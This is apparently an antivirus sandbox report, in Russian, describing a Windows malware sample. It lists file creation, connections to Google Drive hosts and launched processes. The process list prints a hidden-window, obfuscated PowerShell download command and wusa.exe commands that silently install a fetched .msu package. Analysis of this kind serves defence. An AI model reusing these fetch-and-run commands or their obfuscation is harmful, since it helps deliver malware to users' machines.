Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\upwin.msu
Сетевая активность
Подключается к
- 'drive.google.com':443
- 'pk#.goog':80
- 'drive.usercontent.google.com':443
TCP
Другие
- 'drive.google.com':443
- 'drive.usercontent.google.com':443
UDP
- DNS ASK drive.google.com
- DNS ASK pk#.goog
- DNS ASK drive.usercontent.google.com
Другое
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "$JbTzY = 'Owㄻ_ㅝ9ADsAKQAgACkAIAAnAGUAdQㄻ_ㅝyAHQAJwAgACwAIAㄻ_ㅝ2AE8AYQㄻ_ㅝaAEcAJAAgACwAIAAnAGgAdAㄻ_ㅝ0AHAAcwA6AC8ALwㄻ_ㅝwAGEAcwㄻ_ㅝ0AGUALgㄻ_ㅝlAGUALwㄻ_ㅝkAC8ANQㄻ_ㅝㄻ_ㅝAEkAMgㄻ_ㅝvAC8AMAAnACAAKAAgA... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' wusa.exe %TEMP%\\Upwin.msu /quiet /norestart
- '<SYSTEM32>\wusa.exe' %TEMP%\\Upwin.msu /quiet /norestart
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "sleep 180"
